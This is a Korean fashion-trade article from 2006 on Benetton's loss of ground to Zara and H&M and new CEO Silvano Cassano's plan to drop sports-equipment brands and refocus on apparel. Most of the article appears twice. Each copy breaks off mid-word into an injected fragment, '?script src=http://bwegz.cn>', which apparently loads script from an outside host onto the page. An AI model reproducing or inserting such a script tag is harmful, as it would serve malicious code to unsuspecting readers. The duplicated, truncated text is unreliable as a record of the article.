「베네통」, 초심 되찾는다
2006-07-19 예정현 michel@fashioninsight.com
전문 경영인 카사노 영입, 재탄생 작업 가속화
가족 경영 체제를 포기하고 실바노카사노를 내세운 전문 경영체제로 돌입한 「베네통」이 대대적인 변신을 꾀하고 있다. 거칠고 논쟁적인 시각으로 사회적 메시지를 전달하며 1980년대 캐주얼웨어 제국을 세웠던 「베네통」은 갈수록 과격으로 치닫는 광고와 별다른 변화 없는 머천다이징, 비전문적인 유통망 관리 등이 겹치면서 위기의식을 느껴 왔다.
유럽 브랜드들의 위협
초창기 시선을 끄는 파격적인 광고와 컬러풀한 색조의 의류로 시선을 끌었던 「베네통」 의 위기의식을 가중시킨 가장 큰 원인은 1990년대 「자라」, 「H&M」등 유럽의 브랜드들이 합리적인 가격에 트렌디하고 세련된 캐주얼웨어를 내놓으면서 어패럴업계의 대혁신을 이뤄내는 동안 이들은 과거 방식에 매달려 있었기 때문이다. 신경질적인 광고, 때로는 선정적으로 다뤄진 사회적 광고에 집중한 반면 차별성 없는 머천다이징으로 일관하면서 트렌디하고 합리적인 어패럴을 찾는 소비자들의 마인드를 반영하는 데 게을렀던 것.
스피디한 상품 순환률에 밀려
「H&M」과 「자라」는 1달도 못되는 짧은 주기로 트렌디한 신상품을 교체해 상품순환율을 높이고 부담없는 가격을 책정, 변화에 민감한 디지털 세대를 사로잡는 ‘스피드’ 전술을 쓰면서 소비자의 소비 패턴까지 변화시켰다. 소비자의 반응이 낮은 제품은 재빨리 수거하고 소비자의 취향을 반영한 신제품을 즉시 매장에 반입하는 전략은 변화를 추구하는 소비자들을 매장 안으로 끌어 들였을 뿐 아니라, 추가적인 구매 효과를 낳았다.
더구나 「자라」는 최근 신제품 출시 속도를 더욱 높이기 위해 일주일에 1∼2차례 제품을 업그레이드해 신제품 출시 속도를 높이고 1년에 1만1천 종의 제품을 생산, 아이템 다양화를 추구하는 공격적인 생산-유통 시스템을 도입했다. 이 같은 변화는 1년에 몇 백 종의 제품을 생산해온 기존의 관행을 깨뜨리는 파격으로 급변하는 소비자의 취향에 보다 민첩하게 반응하기 위한 전략이다. 특히 「자라」는 매체광고에 의존하는 여타 브랜드와 달리 그 제품에 대한 매력이 ‘입에서 입으로 전달되는’ 매우 독특하고 전통적인 관행을 구축, 소비자들이 스스로 매장을 찾게 하는 저력을 발휘해 광고에 전력해 온 「베네통」을 머쓱하게 만들었다.
‘최신 트렌드를 읽고 싶다면 「H&M」을 찾으면 된다’는 말이 나올 정도로 트렌디한 제품을 생산하는 「H&M」은 캣워크 쇼에 등장한 제품과 똑같은 스타일을 1주일 안에 매장에 비치할 정도로 스피디한 트렌디웨어를 만들어 냈다. ‘카피’ 의류라는 일각의 비난도 있지만 어차피 소비자들의 취향이 ‘트렌디한 제품을 합리적인 가격에 구입’하는 것인 만큼 「H&M」의 유통전략은 그 타겟의 마음을 정확히 읽어낸 셈.
명확한 타겟, 핵심 고객층 포섭에 실패
「자라」의 핵심 고객은 쿨하고 미니멀한 스타일을 즐기는 직장 여성, 「H&M」의 주고객은 최신 스타일을 즐겨 찾는 10대들로 구분된다. 물론 「H&M」과 「자라」가 젊은 여성을 주타겟으로 하고 있다는 점에서 서로 고객이 겹치지만 각자 ‘충실한 고객층’을 보유하고 있기 때문에 상호 경쟁력이 높다.
반면 「베네통」은 어린아이에서 어른까지 입을 수 있는 캐주얼을 내세웠지만 충실한 고객층이 얕고 타겟 고객층에 집중한 아이템 개발은 미약했다. 초창기 화려한 색채를 내세워 트렌디한 느낌을 주었던 머천다이징마저 일정한 틀을 벗어나지 못한 그저 그런 스타일로 일관되어 단조롭고 지루한 느낌을 주었다.
고객들은 점점 ‘빠르고 트렌디’해지는데 「베네통」은 ‘느리고 변화 없는’ 상태를 유지했고 결국 「H&M」과 「자라」 등의 급추격을 받을 수밖에 없는 허점을 키운 것이다. 어패럴 분석가들 사이에서 ‘「베네통」은 한물간 브랜드로 브랜드 포지션이 불확실하다’라는 평가가 나온 지 오래지만 그 점을 간과한 것 역시 「베네통」의 실책이었다.
오랜 기간 즉흥적이고 비전문적인 가족경영체제로 운영되면서 변화되는 소비자와 어패럴 환경에 체계적으로 대응하지 못한 것이 캐주얼웨어 제국으로 군림하던 「베네통」을 ‘처음부터 다시 시작’하는 상황에 몰고 온 주력군이다.
어패럴 사업에 집중
중병에 걸린 「베네통」의 생환작업을 맡은 실바노카사노가 가장 먼저 손댄 부분은 어패럴 중심의 전문경영체제를 만드는 것이다. 카사노가 내린 결론은 「베네통」의 문어발식 사업을 정리하고 어패럴 사업에 집중하는 방안.
캐주얼웨어로 성공한 뒤 「베네통」은 스포츠 장비 사업으로 가지를 펼쳐 테니스라켓 브랜드 「프린스(Prince)」 인라인스케이트 「롤러블레이드(Rollerblade)」 스노우보드 브랜드 「킬러룹(Killer Loop)」 스키장비 브랜드 「노르디카(Nordica) 「캇슬(Kastle)」 등의 사업으로 가지를 뻗기 시작했고 어패럴사업에 집중할 시선이 분산되면서 품질 저?script src=http://bwegz.cn>
유럽 브랜드들의 위협
초창기 시선을 끄는 파격적인 광고와 컬러풀한 색조의 의류로 시선을 끌었던 「베네통」 의 위기의식을 가중시킨 가장 큰 원인은 1990년대 「자라」, 「H&M」등 유럽의 브랜드들이 합리적인 가격에 트렌디하고 세련된 캐주얼웨어를 내놓으면서 어패럴업계의 대혁신을 이뤄내는 동안 이들은 과거 방식에 매달려 있었기 때문이다. 신경질적인 광고, 때로는 선정적으로 다뤄진 사회적 광고에 집중한 반면 차별성 없는 머천다이징으로 일관하면서 트렌디하고 합리적인 어패럴을 찾는 소비자들의 마인드를 반영하는 데 게을렀던 것.
스피디한 상품 순환률에 밀려
「H&M」과 「자라」는 1달도 못되는 짧은 주기로 트렌디한 신상품을 교체해 상품순환율을 높이고 부담없는 가격을 책정, 변화에 민감한 디지털 세대를 사로잡는 ‘스피드’ 전술을 쓰면서 소비자의 소비 패턴까지 변화시켰다. 소비자의 반응이 낮은 제품은 재빨리 수거하고 소비자의 취향을 반영한 신제품을 즉시 매장에 반입하는 전략은 변화를 추구하는 소비자들을 매장 안으로 끌어 들였을 뿐 아니라, 추가적인 구매 효과를 낳았다.
더구나 「자라」는 최근 신제품 출시 속도를 더욱 높이기 위해 일주일에 1∼2차례 제품을 업그레이드해 신제품 출시 속도를 높이고 1년에 1만1천 종의 제품을 생산, 아이템 다양화를 추구하는 공격적인 생산-유통 시스템을 도입했다. 이 같은 변화는 1년에 몇 백 종의 제품을 생산해온 기존의 관행을 깨뜨리는 파격으로 급변하는 소비자의 취향에 보다 민첩하게 반응하기 위한 전략이다. 특히 「자라」는 매체광고에 의존하는 여타 브랜드와 달리 그 제품에 대한 매력이 ‘입에서 입으로 전달되는’ 매우 독특하고 전통적인 관행을 구축, 소비자들이 스스로 매장을 찾게 하는 저력을 발휘해 광고에 전력해 온 「베네통」을 머쓱하게 만들었다.
‘최신 트렌드를 읽고 싶다면 「H&M」을 찾으면 된다’는 말이 나올 정도로 트렌디한 제품을 생산하는 「H&M」은 캣워크 쇼에 등장한 제품과 똑같은 스타일을 1주일 안에 매장에 비치할 정도로 스피디한 트렌디웨어를 만들어 냈다. ‘카피’ 의류라는 일각의 비난도 있지만 어차피 소비자들의 취향이 ‘트렌디한 제품을 합리적인 가격에 구입’하는 것인 만큼 「H&M」의 유통전략은 그 타겟의 마음을 정확히 읽어낸 셈.
명확한 타겟, 핵심 고객층 포섭에 실패
「자라」의 핵심 고객은 쿨하고 미니멀한 스타일을 즐기는 직장 여성, 「H&M」의 주고객은 최신 스타일을 즐겨 찾는 10대들로 구분된다. 물론 「H&M」과 「자라」가 젊은 여성을 주타겟으로 하고 있다는 점에서 서로 고객이 겹치지만 각자 ‘충실한 고객층’을 보유하고 있기 때문에 상호 경쟁력이 높다.
반면 「베네통」은 어린아이에서 어른까지 입을 수 있는 캐주얼을 내세웠지만 충실한 고객층이 얕고 타겟 고객층에 집중한 아이템 개발은 미약했다. 초창기 화려한 색채를 내세워 트렌디한 느낌을 주었던 머천다이징마저 일정한 틀을 벗어나지 못한 그저 그런 스타일로 일관되어 단조롭고 지루한 느낌을 주었다.
고객들은 점점 ‘빠르고 트렌디’해지는데 「베네통」은 ‘느리고 변화 없는’ 상태를 유지했고 결국 「H&M」과 「자라」 등의 급추격을 받을 수밖에 없는 허점을 키운 것이다. 어패럴 분석가들 사이에서 ‘「베네통」은 한물간 브랜드로 브랜드 포지션이 불확실하다’라는 평가가 나온 지 오래지만 그 점을 간과한 것 역시 「베네통」의 실책이었다.
오랜 기간 즉흥적이고 비전문적인 가족경영체제로 운영되면서 변화되는 소비자와 어패럴 환경에 체계적으로 대응하지 못한 것이 캐주얼웨어 제국으로 군림하던 「베네통」을 ‘처음부터 다시 시작’하는 상황에 몰고 온 주력군이다.
어패럴 사업에 집중
중병에 걸린 「베네통」의 생환작업을 맡은 실바노카사노가 가장 먼저 손댄 부분은 어패럴 중심의 전문경영체제를 만드는 것이다. 카사노가 내린 결론은 「베네통」의 문어발식 사업을 정리하고 어패럴 사업에 집중하는 방안.
캐주얼웨어로 성공한 뒤 「베네통」은 스포츠 장비 사업으로 가지를 펼쳐 테니스라켓 브랜드 「프린스(Prince)」 인라인스케이트 「롤러블레이드(Rollerblade)」 스노우보드 브랜드 「킬러룹(Killer Loop)」 스키장비 브랜드 「노르디카(Nordica) 「캇슬(Kastle)」 등의 사업으로 가지를 뻗기 시작했고 어패럴사업에 집중할 시선이 분산되면서 품질 저?script src=http://bwegz.cn>
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